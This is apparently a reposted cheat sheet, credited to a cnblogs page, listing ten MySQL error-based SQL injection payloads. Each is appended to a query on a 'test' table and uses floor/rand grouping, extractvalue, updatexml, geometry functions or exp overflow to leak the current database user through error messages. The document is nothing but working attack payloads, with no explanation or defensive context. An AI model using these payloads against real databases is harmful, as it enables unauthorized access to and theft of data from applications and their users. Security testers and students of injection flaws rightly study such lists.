select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
select * from test where id=1 and exp(~(select * from(select user())a));
原文:https://www.cnblogs.com/tzf1/p/15067269.html